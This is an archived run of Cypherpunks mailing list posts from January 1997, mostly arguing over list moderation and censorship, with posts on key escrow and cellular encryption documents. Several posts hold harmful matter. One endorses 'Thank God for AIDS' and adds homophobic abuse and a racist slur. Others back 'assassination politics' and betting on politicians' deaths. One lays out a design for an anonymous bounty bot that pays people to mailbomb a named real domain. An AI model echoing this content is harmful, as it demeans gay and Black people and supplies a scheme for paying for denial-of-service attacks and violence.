TV ratings systems, and prevented from experiencing the benefits of a
truly competitive marketplace by the emergence of "cartels" created by
mega-mergers in the telecommunications and media industries.

This is not reform!  And it's not too late to demand that our decision
makers deliver on what they promised us on February 8, 1996: MORE
competition, MORE consumer choices, MORE widespread access to
information technology.

The Center for Educational Priorities and NetAction are spearheading
this demonstration in an effort to pressure the Federal Communications
Commission and other state and national regulatory agencies to ensure
that the Act is implemented in a way that truly benefits the public. 
We invite you to join this effort by linking to the site at
<http://www.cep.org/protest.html> for one month beginning on February
8.  By linking to the protest site, you will be adding your voice to a
united demand for true telecommunications reform.

The site is currently under development.  When completed, it will
feature brief summaries of the impact the Act has had in its first
year on telecommunications and technology policy, media ownership and
content, and censorship, along with suggested actions to help ensure
that implementation of the Act truly benefits the public.  We are also
creating extensive links to other organizations working on these
issues, as well as to other sites with current information on
censorship, mega-mergers, universal service, school hook-ups, and the
v-chip. We welcome suggestions for additional links to add.

Please let us know if you will participate in the demonstration by
contacting NetAction, by email at akrause@igc.org, or by phone at
415-775-8674. Thanks!

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 07:29:04 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854378751.95282.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> It is obvious to me that those who are waving the bloody flag of
> "censorship" are doing so for either of two reasons.  The ones to
> whom I am the most sympathetic are those who simply do not have
> a clear and coherent understanding of rights in an anarchistic,
> volunteeristic society.  

You need have no sympathy. Those members of this list see it as it 
is, a list that was supposed to be, in some small way, a "model" of 
an anarchistic discussion forum for the subject of cryptography, 
either technically (later split into coderpunks) or at a 
sociopolitical level. That was the intended direction of the list, it 
has rapidly disentigrated over recent months into a censored list 
where the elite post to the main list and anyone else is nearly 
always relegated to a seperate list for the crypto-untermenshcen.

> The ones for whom I have no sympathy are those whose obvious 
> goal is disruption of the Cypherpunks list and who are hiding
> behind a phoney interpretation of "free speech."

You may make as many excuses as you like, the bottom line is you have 
become what you profess to hate most, a censor. If having the right 
to post freely on a list that was supposed to operate as a free and 
open anarchic forum is not a valid interpretation of free speech I 
cannot envisage any more elegant example.
 
> I think both of these groups are intellectually dishonest in the
> extreme when it comes to telling others how this list should be
> run.  I doubt any of them would permit the sort of disruptive
> behavior that goes on here to go unchallenged in salons they
> sponsor in their own homes or on Net lists that they themselves 
> maintain.

If you want to talk about intellectual dishonesty try the following:

Imagine if you will a list, the original purpose of which was
to act as a free and open forum for discussion of cryptography and 
related issues. A list which proudly proclaims in its "welcome to 
the list" message:

We do not seek to prevent other people from
speaking about their experiences or their opinions.

Now imagine that list falling into a state of content based 
censorship and censorship based on an unspoken but ever present 
class structure, then ask yourself which list you know that most 
closely matches this description, it`s a pretty revealing exercise.

> This is a voluntary list folks.  We tried incivility and that did
> not work.  Right now we are experimenting with reasoned discourse
> in an atmosphere of interpersonal respect and good will. 

For "Reasoned discourse in an atmosphere of interpersonal respect and 
good will" read "content based censorship".

> If most list members like the change, it will continue.  If not, then we
> can go back to the swill or perhaps try something else.  In the
> meantime, get over it.  If you really like flames and spam, show
> John and me how it really should be done.  Start another list.  
> Of course squating and claim jumping appeal to the lazy a lot
> more than homesteading.

It is a foregone conclusion that the upper class of list members will 
have no dispute over the censorship and therefore the change will be 
permenant, it is a form of online ethnic cleansing whereby the lists 
clique of illuminati have taken it upon themselves to remove the 
elements of the list they feel endanger their position of superiority 
and respect, the point they have missed is that they have no 
credibility whatsoever after this incident, as well as a number of 
other such occurances and therefore are only isolating themselves 
into their own little world.

"cypherpunks will make the networks safe for censorship"
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Mon, 27 Jan 1997 07:29:41 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Rejection policy of the Cypherpunks mailing list
Message-ID: <854378750.95280.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


> From:          paul@fatmans.demon.co.uk
> To:            "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
> Date:          Sat, 25 Jan 1997 19:12:05 +0000
> Subject:       Re: Rejection policy of the Cypherpunks mailing list
> Cc:            cypherpunks@toad.com
> Priority:      normal

Can anyone tell me if my previous message with the above headers (end
of message quoted in below) was sent to the censored list or to 
cypherpunks-flames? - I subscribe to the unmoderated version of the 
list so do not get to see what goes where....

> I do not have the resources to run such an unmoderated list but I 
> hope someone on this list does and is good enough to start such a 
> list, cypherpunks is a shell of what it once was. 
> 
> Also, please note this message will be junked onto cypherpunks-flames 
> even though it contains no flames or flame bait because it dares to 
> criticise the censorship of the list (once again Sandy, I give you an 
> opportunity to prove me wrong).


 
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 17:47:42 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <32EC05D8.1650@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


blanc wrote:
> From:   Dr.Dimitri Vulis
> However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
> not be permitted on the 'net. It also bombs Iraq and murders their
> civilians
> in retaliation for something their governments supposedly did.

> The U.S.G. has many more resources than most of us to do these things,
> including equipment, cooperative troops, money, and recognition from other
> governments.   If other nations disagree with the U.S.G. they have the
> resources to discuss, bargain, negotiate, criticize, form alliances, take
> their chances and retaliate, etc.

I wish this were true, at least of nations which would be friendly
to someone like me (white, Western, etc.).  A bully on a school
playground can always be knocked down, no matter how big or how
vicious he is.  Sadly, the U.S. bully cannot be knocked down.  Bad
enough you get nuclear, chemical, and/or biological stuff waved at
you - if you get into a hot war like Desert Storm, your country is
carpet-bombed with fleets of B-52's until it is thoroughly debilitated.

How does one country get on top and terrorize the whole world?  By
following Tom Wolfe's intimation concerning the pirates: "The people
on the East coast were constantly victimized because they couldn't
comprehend just how vicious and ruthless the pirates really were"
(quote approximate).

People who read this might argue that the "true power" is international
now, and not confined to the USA.  I say it doesn't matter which end
you look at it from, the "true power" has been concentrating and
centralizing itself for some years now, and you can use any nation-label
you like.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 26 Jan 1997 17:52:27 -0800 (PST)
To: Robert Rothenburg Walking-Owl <cypherpunks@toad.com
Subject: Re: David Kahn advocates GAK
Message-ID: <199701270151.RAA25415@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:03 AM 1/27/97 GMT, Robert Rothenburg Walking-Owl wrote:
>On Thu, 23 Jan 1997 17:32:56 GMT, John Savard <seward@netcom.ca> wrote:
>
>>This is surprising, given that (in Kahn on Codes) Mr. Kahn expressed
>>forceful opinions
>
>>- against certain aspects of export controls,
>
>>- questioning the value of the NSA's mission, in contrast to social
>>demands on government revenues.
>
>I didn't find his opinions forceful in Codebreakers, 2nd. ed.  
>
>Questioning the NSA's purpose vs. advoctating GAK are not incompatible.
>
>>However, while I oppose making key escrow mandatory in general, and
>>share the general suspicion of a voluntary Clipper, if Mr. Kahn's
>>support for Clipper is limited to cellular telephones, then I have no
>>quarrel with such a position.
>
>>Encryption is illegal, without special permission, for use over the
>>airwaves, particularly where mobile radio is involved. This is a
>>long-standing restriction, and not unreasonable. Private communication
>>between people at home is one thing, but allowing criminals to closely
>>coordinate their activities on the move is another.



It's odd that I can't seem to find the original message here.  Contrary to 
the original claim, encryption over radio is generally legal.   (One noted 
exception to this is ham radio...)


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 26 Jan 1997 14:50:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cellular Encryption Docs
Message-ID: <1.5.4.32.19970126224449.006d04a0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to David Wagner and Steve Schear, we've learned about the
latest documents on cellular encryption which supercede the
1992 CAVE document, Appendix A to IS-54, which contained the CAVE 
algorithm. Here are the latest, followed by ordering information.

  TIA/EIA/IS-136.1-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Digital Control
  Panel, October, 1996, 372 pp. $350.00.

  Addendum No. 1 to IS-136.1-A, November, 1996, 40 pp. Free.

  TIA/EIA/IS-136.2-A -- TDMA Cellular/PCS - Radio Interface -
  Mobile Station - Base Station Compatibility - Traffic Channels
  and FSK Control Channel, October, 1996, 378 pp. $310.00.

  TIA/EIA-627 -- 800 MHZ Cellular System, TDMA Radio Interface, 
  Dual-Mode Mobile Station - Base Station Compatibility
  Standard, June, 1996, 258 pp. $120.00.

These documents can be ordered from:

  Global Engineering Documents
  15 Inverness Way East
  Englewood, Colorado 80112
  Telephone: 1-800-854-7179

However, each of the documents lists the following related 
supplements which contain "sensitive information" and may be 
obtained by US/CA citizens from TIA by signing a Non-Disclosure 
Agreement and acceptance of export restrictions:

  Appendix A to IS-136.

  Appendix A to 627.

  Common Cryptographic Algorithms.

  Interface Specification for Common Cryptographic Algorithms.

These controlled documents can be requested by calling Ms. Sharon
Vargish at 1-703-907-7702, who will fax an NDA, and upon receipt of
the completed form, will send the controlled documents at no cost.

Here's the NDA:

         AGREEMENT ON CONTROL AND NONDISCLOSURE OF
              COMMON CRYPTOGRAPHIC ALGORITHMS
          REVISION A TO IS-54, IS-95, AND IS-136
      [Note: 627 supercedes IS-54; IS-95 is for CDMA]


"I, _________________________, an employee/consultant/affiliate
       (typed name)

of __________________________, hereafter, "the company,"
      (Company name)

_____________________________
      (Company address)

_____________________________

and a United States or Canadian citizen, acknowledge and understand
that the subject documents, to which I will have access contain 
information [which] is subject to export control under the
International Traffic in Arms Regulations (ITAR) (Title 22, Code
of Federal Regulations, Part 120-130). I also understand that the
subject documents represent valuable, proprietary and confidential
business information of TIA and its members. I hereby certify that
this information will be controlled and will only be further 
disclosed, exported, or transferred according to the terms of the
ITAR.

______________________________       _____________________________
Signature                            Date

______________________________       _____________________________
Printed Name                         Witness

______________________________       _____________________________
Title                                Printed Name of Witness

[End NDA]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Jan 1997 15:26:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Humor] Crypto in Traveller (a game)
Message-ID: <199701262351.RAA01371@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

I thought I would pass this along to demonstrate that all uses of crypto are
not 'real world'...

Hope you enjoy.

                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com

Forwarded message:

> To: traveller@MPGN.COM
> Subject: Re: Aperture Synthesis, Aegis
> Date: Sun, 26 Jan 1997 21:40:18 +0000
> 
> At 08:15 AM 1/26/97 +0000, you wrote:
> <snip>
> >For example, at 5 ls, you have ship A sending data to ship B, which has
> >to know "exactly" how long it took for the data to cross the gap, as
> >that's one of the parameters in the calculations. 
> >
> >If it's "exactly" 5 seconds, then each ship "combines" the data it
> >receives directly with the data received 5 seconds later from the other
> >ship. The combining involves various things like trig and other messy
> >stuff. But it all boils down to "A saw X1 from direction Y1 at time Z1, B
> >saw X2 from Y2 at Z2". You combine the info and triangulate. 
> >
> >So at 5 ls, you have a "data lag" of the 5 seconds it takes the signal
> >to cross the distance *plus* the processing time. 
> >
> >And since the distance *will* vary, even if only by a little bit, that
> >changes the point in the your datastream that you are comparing with
> >the datastream from the other ship.
> >
> 
> Could we presume that vessels operating together would have some type of
> synchronized timekeeping, such as an atomic clock, in each ship, with each
> message between ships being time & velocity stamped so that each receiver
> could adjust the data for integration to local data? 
> 
> We should also assume a really good (and closely gaurded) encryption on the
> interchanges, or enemy intercepts would be right dangerous.
> 
> Adventure possiblity: trying to obtain a given unit's encryption code or
> seeking to recover said code.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 16:20:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Toto's database
In-Reply-To: <199701261840.KAA21206@toad.com>
Message-ID: <uew61D67w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:
> Greg Broiles wrote:
> > Toto writes:
>                                      a good way to keep the moderator
> honest.

I don't think it's possible.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 18:34:53 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: Re: overview.htm (fwd)
In-Reply-To: <Pine.SOL.3.93.970126202135.24614A-100000@pegasus.montclair.edu>
Message-ID: <32EC1422.6E70@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas wrote:
> On Sun, 26 Jan 1997, Igor Chudov @ home wrote:
> > Nurdane Oksas wrote:
> > >     i think it's good also to exercise outdoors as well as your
> > >     indoor nordictrack machines..sun and air is esp. necessary;

> > but remember, tanning will kill ya.

>         Yes it will; Not a fan of tanning myself...it also causes lots
>         of skin problems, have seen women age too soon tanning;
>         we don't go outside naked here in NorthEast...do remember;

The real babes in So. Cal. go to tanning salons. That way the evenly-
distributed tan looks best with, say, a pure white bikini.  You can
go to the beach, of course, and hang out with the hoi polloi, but
it's mostly kids with pimples and stuff.

BTW, if y'all can't stay away, I have a list of So. Cal. nude beaches,
approx. 3 years old.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 16:43:12 -0800 (PST)
To: dthorn@gte.net (Dale Thorn)
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701262310.PAA26784@toad.com>
Message-ID: <199701270039.SAA01662@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dale Thorn wrote:
> 1. The subscribers have spoken by staying put, or,
> 2. The subscribers are so lazy and unaware of what's going on that
>    they've just left things as is.

> Now, in my opinion, we've come to this:  Some people here will hold
> the optimistic view of the bulk of the subscribers, and others will
> hold the pessimistic view (the bulk will presumably be in-between).

In case of 2, they are probably not worthy of your help.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 16:47:07 -0800 (PST)
To: oksas@asimov.montclair.edu (Nurdane Oksas)
Subject: Re: overview.htm (fwd)
In-Reply-To: <199701262327.PAA27273@toad.com>
Message-ID: <199701270041.SAA01716@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Nurdane Oksas wrote:
> 	i think it's good also to exercise outdoors as well as your
> 	indoor nordictrack machines..sun and air is esp. necessary;

but remember, tanning will kill ya.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Sun, 26 Jan 1997 18:34:03 -0800 (PST)
To: blanc <blancw@cnw.com>
Subject: RE: overview.htm (fwd)
Message-ID: <199701270233.SAA03386@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 26 Jan 97 at 2:19, blanc wrote:

> >Igor Chudov @ home wrote:
> >>>Jim Choate wrote:
> >>>>>Dr.Dimitri Vulis KOTM wrote:
> >>>>>>>irrelevant@nowhere.com wrote:
> >>>>>>>>>>Dale Thorn wrote:
> 
> It can be said 100,000 times, but it still comes out the same:
> Just as in "The only cure for bad speech is more speech", "the only
> cure for 'list-focus-drift' is more on-focus postings".

THE PRICE OF FREE SPEECH IS TOLERANCE OF IDEAS THAT WE MAY
OBJECT TO.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 26 Jan 1997 18:44:58 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Fighting the cybercensor
In-Reply-To: <Vw261D78w165w@bwalk.dm.com>
Message-ID: <32EC1683.4DD0@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> jim bell <jimbell@pacifier.com> writes:
> > Look, I've proposed what I consider to be a remarkably consistent method to
> > prevent the kind of political tyranny that you criticize, and I don't see
> > any recognition of this fact.

> I said many times that I find AP a very interesting notion, worthy of study.
> Given how fast online gambling is growing, how soon do we have to wait for
> a web site for taking bets on deaths of politicians and other prominents?
> Why not set one up, using "funny money" not convertible to anything?

If AP could really work, and AP is enabled by strong p-k crypto,
that fact alone would justify the Washington boys doing *everything*
in their power to stop *real* crypto (i.e., no back doors).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 16:20:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: overview.htm (fwd)
In-Reply-To: <199701261655.IAA18541@toad.com>
Message-ID: <uiX61D68w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> >Igor Chudov @ home wrote:
> >>>Jim Choate wrote:
> >>>>>Dr.Dimitri Vulis KOTM wrote:
> >>>>>>>irrelevant@nowhere.com wrote:
> >>>>>>>>>>Dale Thorn wrote:
>
> It can be said 100,000 times, but it still comes out the same:
> Just as in "The only cure for bad speech is more speech", "the only
> cure for 'list-focus-drift' is more on-focus postings".

Clearly Gilmore disagrees with both statements. He practices
censorship and plug-pulling. What a dishonorable person.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: it aint successful until someone loses his temper <g>
In-Reply-To: <3.0.32.19970126212906.00acba20@earthlink.net>
Message-ID: <NqZ61D70w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Penrod <ppenrod@earthlink.net> writes:

> Well, I see that you could'nt leave well enough alone... :-)
>
> Since Snow decided to jump into your face on this one, I might as well
> throw my $0.02 on the table as well. Funny how my trashcan stays very empty
> these days now that cypherpunks is in my bit bucket...

I suggest you subscribe to cypherpunks-unedited. It may go away, but
for now it's much more interesting than the censored version.

> Frankly, it does not surprise me that homosexuality is yet another
> pointless off-topic to be discussed on the list.

Thanks to the moderation, only one side of the issue gets aired anyway.

> >> +Thank God for AIDS.

Amen.

> >>         when AIDS was relatively obscure, I always dismissed AIDS as
> >>     God's response to homosexuality (and other crimes against nature);
> >>     i.e. -settlement by a just God.
> >
> >     I almost threw a dumb ass redneck of a ship in the middle of the ocean
> >for a comment like this.
...
> This politically correct bullshit response is just symptomatic of someone
> who is uncomfortable with the position taken for expediency's sake and is
> trying to justify to himself the course taken.

The "politically correct" homosexuals, like snow and gilmore and sandfart
consider (violent) action to be a reasonable response to speech they don't like
(e.g. "homophobic") - not "more speech". Someone says something you disagree
with on a mailing list? Unsubscribe him! Ban him from the list! Institute
moderation to auto-discard everything he says! Curiously, African-American
children are taught that violence is a correct response to "racist" speech.

ObEbonics: "Dot's right, judge, I shot da mothafucka cuz he call me a nigga!"

> >    I've read a lot of your rantings on this list, and I agree with some of
> >them, but statements like this prove that you are a bigoted idiot. You may
> >have some areas where you know what you are talking about, and I wouldn't
> want
> >to be on the sharp end of a gun you were holding, but your head is
> definately
> >stuck firmly up your ass.
>
> Ok, we throw down the gauntlet here in true USENET style, and in keeping
> with that, have nothing of value to say (just name calling).

When they run out of things to say, they start pulling plugs,
unsubscribing people, and "moderating"...

> >     1) If homosexuality is a "choice", why would anyone choose that
> lifestyle
> >where the averge life expectancy is in the 40's, that causes so much pain
> >among ones family, and so much conflict with the rest of society.

I can answer this one, having worked for Jesuits: having deviant sexual desires
may not be a choice, but willingly committing unnatural acts to satisfy your
deviant desires is a choice.

> >     The answer is you can't. You adopt a knee-jerk position that reinforces
> >your deliberate isolationism. Anything that may cause you to question your
> >worldview gets sorted to /dev/evil and you plow ahead like some pig ignorant
> >dough boy killing as ordered for king and country.
>
> Who's the ignorant one here? The name caller or the recipient. My vote goes
> to the name caller, as he assumes this to be a debate of fact, when in
> essence he's expressed only his opinion on the matter and not bothered to
> show teacher his homework (the dog ate it - so give me an "A" anyway 'cause
> I deserve it). ;->

And when the namecalling doesn't work, they respond with violence.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: US Info Supremacy
In-Reply-To: <199701261655.IAA18539@toad.com>
Message-ID: <Dk161D71w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	John Young
>
> Hello, Tim May and our other solons and Solomons.
> ........................................
>
> He must be on vacation; he hasn't posted in quite a while.

Other conjectures:
* dead from AIDS
* abducted by aliens, held captive in a flying saucer
* moderated so heavily, his rants don't even make it to cypherpunks-unedited

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
In-Reply-To: <01BC0B90.0B78E600@king2-16.cnw.com>
Message-ID: <eq161D72w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


blanc <blancw@cnw.com> writes:

> From:	Dr.Dimitri Vulis
>
> However U.S.G. is able to say that people of Iraq or Lybia or Cuba should
> not be permitted on the 'net. It also bombs Iraq and murders their
> civilians
> in retaliation for something their governments supposedly did.
> ................................................................
>
> The U.S.G. has many more resources than most of us to do these things,
> including equipment, cooperative troops, money, and recognition from other
> governments.   If other nations disagree with the U.S.G. they have the
> resources to discuss, bargain, negotiate, criticize, form alliances, take
> their chances and retaliate, etc.
>
> These things are done on a level not accessible to the most of us.  All
> that we individuals have are access to telephone lines, computers, and
> modems.   Yet even as we speak the world is being "wired" with cables to
> further make this singular communication possible and open up avenues to
> non-government organized activities:   international corporations are se
> tting up offices, services, and correspondence wherever in the world they
> can find markets.   All this is happening even while the governments are
> complaining to each other about what their citizens are posting (tch, tch)
> and threatening to deprive each other of that privilege.
>
> While governments and their True Believer citizens are dealing with each
> other on one level, the rest of the world is reorganizing itself into a
> different order of living and doing business.   They are sharing ideas and
> examining their concepts and beliefs, they are conducting a lot of their
> disagreements on the net (instead of physically against each other on the
> ground), opening up to a broader view of relationships between individuals,
> or to governments, or to religions, sexuality, etc.

And "cypher punks" bend over for a NSA stooge and allow U.S.G. to
further curtail free speech.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 26 Jan 1997 17:30:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [No Subject:]
In-Reply-To: <199701261640.IAA18377@toad.com>
Message-ID: <6w161D73w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:

> At 09:13 AM 1/25/97 EST, Lou Zer wrote:
> >You missed the hole point. You read that BECAUSE their was no header, if
> >it was ANARCHY you would have just deleted it.
>
> Not necessarily; I _am_ an anarchist, after all.

No, you're a fucking statist.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 26 Jan 1997 18:11:04 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701270100.RAA21027@mail.pacifier.com>
Message-ID: <199701270207.UAA00452@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


jim bell wrote:
> 
> "I have a solution to that problem."
> 
> Seriously!  
> 
> Look, I've proposed what I consider to be a remarkably consistent method to 
> prevent the kind of political tyranny that you criticize, and I don't see 
> any recognition of this fact.  
> 

Jim, why don't you stop bullshitting and write a real assassination
bot. [as a beta, it can be a mailbombing bot] This bot would:

1) Accept bets as combinations of
	a) Some amount of cybercash
	b) A string that identifies an event that should happen
	   such as "domain X is mailbombed"
	c) [optional] date of that event (no date means that you always 
           lose)
	d) Return address (possibly a nym address) to send
	   all cash from UNSUCCESSSFUL bets for the event in 
	   question.
	e) [optional] time limit after which the cash will be refunded.

Note that for simplicity, the bot should identify the event as 
a unique string, without any understanding of any semantics of that
string.

2) Store these bets in a database.

3) Have a trusted party (someone really honest, like myself) report to
the bot the signed strings that, in the opinion of the trusted party,
are "true".

4) Upon receipt of such event notifications, the bot will find all bets
and forward them to the better whose date prediction was the closest.
If several betters predicted the same date, the money is split between
them in proportion to the amount of moneys submitted.

Examples of use: Suppose I do not like The Right Reverend Colin James III,
cjames@cec-services.com. I have a lot of money, but do not know how to 
mailbomb. I set some nym address as my return address (for refunds if
CJ3 is not mailbombed within half a year).

I place a bet with $1000 worth of money and phrase "domain cec-services.com
disabled". The date would be open which means that I will always be the
loser. I also post a message (anonymously) saying that anyone who wants
to mailbomb TRRCJ3 can be rewarded through your assassination bot.

Someone with more knowledge of computers, a T1 link and no money will
be lured, submit a bet for, say, Feb 1, and on the 1st will start fierce 
mailbombing of cec-services.com. The return address will, of course, be
a nym.

The fact of mailbombing would become apparent when CEC-SERVICES's MX
DNS record is pulled off. The trusted party will send a phrase
(standardized) "domain cec-services.com disabled" to the bot. The bot
sends my money to the mailbomber through his nym address.

I estimate that this bot would take about 2000 lines of perl. You may need
to use some real database, like postgres or sybase.

Use a nym for it. It will take a while for this bot to develop a 
reputation (remember, there is real money involved!).

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 26 Jan 1997 18:05:54 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Jim Choate Speaks Out on My Part of the Net
In-Reply-To: <199701261712.LAA00406@einstein>
Message-ID: <32EC2A1D.1EDA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> > From: Bill Stewart <stewarts@ix.netcom.com>
> >
> > Nonsense - the net doesn't "belong" to "Singapore or China" -
> 
> The part of it that comes out of their pocketbook does. Just like the part of
> 'the net' that I pay for belongs to me. 
> I have the right to do whatever I want to anything that comes through my part
> of the net, including censoring or editing any mail that comes through it, so
> that it reflects a point of view consistent with mine, since I am the one
> paying for it.

> The net is a bunch of computers,
> running software, hooked together over cables and other links. Each and
> EVERY ONE of these require installation, upkeep, repair, and utility
> support. This costs money. He who pays the money owns the net, everybody
> else is along for the ride.
> Those who pay the money, like myself and others who have bought the right
> to control the net, are justified in acting without outside interference
> on anything that passes through our part of the net.

> If we take your argument to its logical conclusion then once a box goes on
> the net it belongs to nobody/everybody. Clearly utter nonsense.
> The net belongs to those with the money to control it, and people who do
> not have money have no rights on the net.

> If you really and truly believe that the net belongs to everyone and nobody
> has a right to limit or otherwise control the hardware and software along
> with the associated comm links they own and pay for then you obviously don't
> understand what is going on.
> For instance, since Toto pays for the hardware and software that comprises
> his part of the net, he is free to limit, control, and edit for content,
> anything that passes through his part of the net.
> Although I sometimes disagree with Toto because of my limited ability to
> understand things on a conceptual level, his rugged good looks, charm,
> and superior intelligence show that he should be allowed to control his
> own privately owned part of the net and anything that passes through it.

>                                                  Jim Choate
>                                                  CyberTects
>                                                  ravage@ssz.com

Jim,
 Thank you for your support in my efforts to exert supreme control over
the part of the net that I have paid for.
 I am sure that you will continue to fight for the right of myself and
the government of Singapore to use that control for whatever purpose
they choose.
